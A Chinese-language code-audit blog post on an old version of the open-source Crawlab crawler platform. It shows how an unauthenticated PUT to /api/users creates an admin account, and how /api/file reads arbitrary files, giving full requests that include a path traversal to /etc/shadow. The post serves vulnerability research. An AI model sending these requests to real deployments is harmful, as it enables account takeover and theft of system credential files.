Goland 代码审计: GitHub 开源项目 Crawlab

2022年2月20日 215点热度 0人点赞 0条评论
图片
图片


图片


图片
图片


图片



图片
图片

:前言?



图片
图片
图片

文章首发:奇安信攻防社区

https://forum.butian.net/share/996



在GitHub上找到了一个爬虫项目来进行代码审计漏洞挖掘,官方在去年12月重构了代码并转移到了Github,与此同时也修复了曾经出现的漏洞,这里主要分享一下重构前的版本 代码的漏洞分析思路

图片

图片

图片
图片

二:  功能了解?


由于是开源项目,我们可以首先通过在本地进行搭建来了解功能


图片

找到对应的路由文件 backend/main.go

图片

可以看到两种不同的分组 anonymousGroup 和 authGroup

图片


跟踪一下 AuthorizationMiddleware方法

图片


这里可以看到方法为权限验证的方法,其下的方法都需要通过身份验证才可以调用,我们如果想要找到前台的漏洞,就需要查看匿名可调用的方法

图片

图片
图片

三:  漏洞挖掘?

图片

在匿名可调用的方法里存在了一个在验证身份后才可调用的方法 PutUser,跟踪该方法

图片

// @Summary Put user// @Description Put user// @Tags user// @Produce json// @Param Authorization header string true "Authorization token"// @Param reqData body routes.UserRequestData true "reqData body"// @Success 200 json string Response// @Failure 400 json string Response// @Router /users [put]func PutUser(c *gin.Context) {  // 绑定请求数据  var reqData UserRequestData  if err := c.ShouldBindJSON(&reqData); err != nil {    HandleError(http.StatusBadRequest, c, err)    return  }
// 默认为正常用户 if reqData.Role == "" { reqData.Role = constants.RoleNormal }
// UserId uid := services.GetCurrentUserId(c)
// 空 UserId 处理 if uid == "" { uid = bson.ObjectIdHex(constants.ObjectIdNull) }
// 添加用户 if err := services.CreateNewUser(reqData.Username, reqData.Password, reqData.Role, reqData.Email, uid); err != nil { HandleError(http.StatusInternalServerError, c, err) return }
c.JSON(http.StatusOK, Response{ Status: "ok", Message: "success", })}


查看 CreateNewUser 方法调用所需要的字段

图片

func CreateNewUser(username string, password string, role string, email string, uid bson.ObjectId) error {  user := model.User{    Username: strings.ToLower(username),    Password: utils.EncryptPassword(password),    Role:     role,    Email:    email,    UserId:   uid,    Setting: model.UserSetting{      NotificationTrigger: constants.NotificationTriggerNever,      EnabledNotifications: []string{        constants.NotificationTypeMail,        constants.NotificationTypeDingTalk,        constants.NotificationTypeWechat,      },    },  }  if err := user.Add(); err != nil {    return err  }  return nil}


role参数 所对应的权限可以在 backend/constants/user.go 中找到

图片


通过发送 PUT请求 和对应的字段调用方法添加用户获取后台权限

PUT /api/users HTTP/1.1Host: Content-Length: 83Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935Connection: close
{"username":"testppp","password":"testppp","role":"admin","email":"[email protected]"}

图片

图片


成功添加用户,这样就获取到了后台管理员的权限了, 对有权限的接口方法进行漏洞挖掘

图片


找到一处获取文件的接口,跟踪一下方法

图片

path参数可控,没有进行文件读取的过滤

package routes
import ( "crawlab/utils" "github.com/gin-gonic/gin" "io/ioutil" "net/http")
// @Summary Get file// @Description Get file// @Tags file// @Produce json// @Param Authorization header string true "Authorization token"// @Success 200 json string Response// @Failure 400 json string Response// @Router /file [get]func GetFile(c *gin.Context) { path := c.Query("path") fileBytes, err := ioutil.ReadFile(path) if err != nil { HandleError(http.StatusInternalServerError, c, err) } c.JSON(http.StatusOK, Response{ Status: "ok", Message: "success", Data: utils.BytesToString(fileBytes), })}


接口调用为后台才可调用,通过任意用户添加可以完成绕过

path参数可控,发送Get请求读取任意文件

GET /api/file?path=../../etc/shadow HTTP/1.1Host: Content-Length: 0Accept: application/json, text/plain, */*Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYwZGQxOWU0YmZjNzg3MDAxZDk1NjBjOSIsIm5iZiI6MTYzOTMwNTI2MiwidXNlcm5hbWUiOiJhZG1pbiJ9.mFRAwXN-QqTmFmPAxgFEJhVXwxVuxJMepHe4khADfgkUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935Connection: close

图片

图片
图片

 四:  关于文库?


https://www.yuque.com/peiqiwiki


图片

最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦?

知识星球里会持续发布一些漏洞公开信息和技术文章~

图片


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



6690Goland 代码审计: GitHub 开源项目 Crawlab

root

这个人很懒,什么都没留下

文章评论